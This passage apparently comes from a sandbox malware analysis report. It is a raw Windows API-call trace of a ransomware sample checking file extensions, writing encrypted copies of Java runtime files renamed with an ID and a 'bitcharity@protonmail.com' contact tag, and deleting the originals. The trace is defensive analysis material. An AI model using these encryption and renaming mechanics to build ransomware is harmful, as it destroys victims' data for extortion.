lpString2=".exe") returned -1 [0299.068] lstrlenW (lpString=".7z") returned 3 [0299.068] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString=".dbf") returned 4 [0299.068] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString=".1cd") returned 4 [0299.068] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString=".jpg") returned 4 [0299.068] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.069] lstrlenW (lpString=".doc") returned 4 [0299.069] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.069] lstrlenW (lpString=".docx") returned 5 [0299.069] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0299.069] lstrlenW (lpString=".pdf") returned 4 [0299.069] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.069] lstrlenW (lpString=".xls") returned 4 [0299.069] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.069] lstrlenW (lpString=".xlsx") returned 5 [0299.069] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0299.069] lstrlenW (lpString=".ppt") returned 4 [0299.069] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.069] lstrlenW (lpString=".zip") returned 4 [0299.069] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.069] lstrlenW (lpString=".rar") returned 4 [0299.069] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.069] lstrlenW (lpString=".bz2") returned 4 [0299.069] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.069] lstrlenW (lpString=".7z") returned 3 [0299.069] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.069] lstrlenW (lpString=".dbf") returned 4 [0299.069] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.069] lstrlenW (lpString=".1cd") returned 4 [0299.069] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0299.069] lstrlenW (lpString=".jpg") returned 4 [0299.069] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.069] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.069] lstrlenW (lpString="javaws.exe") returned 10 [0299.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.070] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=319552) returned 1 [0299.070] CloseHandle (hObject=0x1098) returned 1 [0299.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0299.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.070] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.070] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0299.071] GetLastError () returned 0x0 [0299.071] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x4e040, lpOverlapped=0x0) returned 1 [0299.205] WriteFile (in: hFile=0x10cc, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x4e050, lpOverlapped=0x0) returned 1 [0299.210] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.210] WriteFile (in: hFile=0x10cc, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe8, lpOverlapped=0x0) returned 1 [0299.210] SetEndOfFile (hFile=0x10cc) returned 1 [0299.210] CloseHandle (hObject=0x10cc) returned 1 [0299.210] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.210] SetEndOfFile (hFile=0x1098) returned 1 [0299.213] CloseHandle (hObject=0x1098) returned 1 [0299.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.213] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0299.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.214] lstrlenW (lpString=".doc") returned 4 [0299.214] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.214] lstrlenW (lpString=".docx") returned 5 [0299.214] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0299.214] lstrlenW (lpString=".pdf") returned 4 [0299.214] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.214] lstrlenW (lpString=".xls") returned 4 [0299.214] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.214] lstrlenW (lpString=".xlsx") returned 5 [0299.214] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0299.214] lstrlenW (lpString=".ppt") returned 4 [0299.215] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.215] lstrlenW (lpString=".zip") returned 4 [0299.215] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString=".rar") returned 4 [0299.215] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString=".bz2") returned 4 [0299.215] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.215] lstrlenW (lpString=".7z") returned 3 [0299.215] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.215] lstrlenW (lpString=".dbf") returned 4 [0299.215] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.215] lstrlenW (lpString=".1cd") returned 4 [0299.215] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.215] lstrlenW (lpString=".jpg") returned 4 [0299.215] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.215] lstrlenW (lpString=".doc") returned 4 [0299.215] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.215] lstrlenW (lpString=".docx") returned 5 [0299.215] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0299.215] lstrlenW (lpString=".pdf") returned 4 [0299.215] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString=".xls") returned 4 [0299.215] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString=".xlsx") returned 5 [0299.215] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0299.215] lstrlenW (lpString=".ppt") returned 4 [0299.215] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.216] lstrlenW (lpString=".zip") returned 4 [0299.216] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.216] lstrlenW (lpString=".rar") returned 4 [0299.216] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.216] lstrlenW (lpString=".bz2") returned 4 [0299.216] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.216] lstrlenW (lpString=".7z") returned 3 [0299.216] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.216] lstrlenW (lpString=".dbf") returned 4 [0299.216] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.216] lstrlenW (lpString=".1cd") returned 4 [0299.216] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0299.216] lstrlenW (lpString=".jpg") returned 4 [0299.216] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.216] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.216] lstrlenW (lpString="jfxwebkit.dll") returned 13 [0299.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.217] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=41503296) returned 1 [0299.217] CloseHandle (hObject=0x1098) returned 1 [0299.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0299.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0299.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.217] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc64 | out: lpNewFilePointer=0x0) returned 1 [0299.218] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0299.218] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d21058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0299.397] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0299.397] ReadFile (in: hFile=0x1098, lpBuffer=0x3d61058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d61058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0299.812] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x333fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0299.813] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0299.813] ReadFile (in: hFile=0x1098, lpBuffer=0x3da1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3da1058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0299.915] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.915] WriteFile (in: hFile=0x1098, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x333fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fca8*=0xc0106, lpOverlapped=0x0) returned 1 [0299.929] SetEndOfFile (hFile=0x1098) returned 1 [0299.929] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40000) returned 0x3f020b8 [0299.933] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc74 | out: lpNewFilePointer=0x0) returned 1 [0299.933] WriteFile (in: hFile=0x1098, lpBuffer=0x3f020b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x333fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f020b8*, lpNumberOfBytesWritten=0x333fc80*=0x40000, lpOverlapped=0x0) returned 1 [0299.934] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc74 | out: lpNewFilePointer=0x0) returned 1 [0299.934] WriteFile (in: hFile=0x1098, lpBuffer=0x3f020b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x333fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f020b8*, lpNumberOfBytesWritten=0x333fc80*=0x40000, lpOverlapped=0x0) returned 1 [0299.935] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x333fc74 | out: lpNewFilePointer=0x0) returned 1 [0299.935] WriteFile (in: hFile=0x1098, lpBuffer=0x3f020b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x333fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f020b8*, lpNumberOfBytesWritten=0x333fc80*=0x40000, lpOverlapped=0x0) returned 1 [0299.937] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0299.937] CloseHandle (hObject=0x1098) returned 1 [0299.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.937] lstrlenW (lpString=".doc") returned 4 [0299.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".docx") returned 5 [0299.937] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.937] lstrlenW (lpString=".pdf") returned 4 [0299.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".xls") returned 4 [0299.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".xlsx") returned 5 [0299.937] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.937] lstrlenW (lpString=".ppt") returned 4 [0299.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString=".zip") returned 4 [0299.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".rar") returned 4 [0299.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".bz2") returned 4 [0299.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.938] lstrlenW (lpString=".7z") returned 3 [0299.938] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString=".dbf") returned 4 [0299.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString=".1cd") returned 4 [0299.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString=".jpg") returned 4 [0299.938] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString=".doc") returned 4 [0299.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".docx") returned 5 [0299.938] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.938] lstrlenW (lpString=".pdf") returned 4 [0299.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".xls") returned 4 [0299.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".xlsx") returned 5 [0299.938] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.938] lstrlenW (lpString=".ppt") returned 4 [0299.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.938] lstrlenW (lpString=".zip") returned 4 [0299.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.939] lstrlenW (lpString=".rar") returned 4 [0299.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.939] lstrlenW (lpString=".bz2") returned 4 [0299.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.939] lstrlenW (lpString=".7z") returned 3 [0299.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.939] lstrlenW (lpString=".dbf") returned 4 [0299.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.939] lstrlenW (lpString=".1cd") returned 4 [0299.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0299.939] lstrlenW (lpString=".jpg") returned 4 [0299.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.939] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.939] lstrlenW (lpString="keytool.exe") returned 11 [0299.939] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.940] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=16448) returned 1 [0299.940] CloseHandle (hObject=0x1098) returned 1 [0299.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0299.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.940] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0299.940] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.940] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.940] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0299.972] GetLastError () returned 0x0 [0299.972] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x4040, lpOverlapped=0x0) returned 1 [0300.148] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x4050, lpOverlapped=0x0) returned 1 [0300.236] ReadFile (in: hFile=0x1098, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.236] WriteFile (in: hFile=0x10e4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xea, lpOverlapped=0x0) returned 1 [0300.236] SetEndOfFile (hFile=0x10e4) returned 1 [0300.236] CloseHandle (hObject=0x10e4) returned 1 [0300.236] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.236] SetEndOfFile (hFile=0x1098) returned 1 [0300.240] CloseHandle (hObject=0x1098) returned 1 [0300.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0300.241] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0300.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.241] lstrlenW (lpString=".doc") returned 4 [0300.241] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.241] lstrlenW (lpString=".docx") returned 5 [0300.241] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0300.241] lstrlenW (lpString=".pdf") returned 4 [0300.241] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.241] lstrlenW (lpString=".xls") returned 4 [0300.241] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.241] lstrlenW (lpString=".xlsx") returned 5 [0300.241] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0300.241] lstrlenW (lpString=".ppt") returned 4 [0300.241] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0300.241] lstrlenW (lpString=".zip") returned 4 [0300.241] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.241] lstrlenW (lpString=".rar") returned 4 [0300.241] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.241] lstrlenW 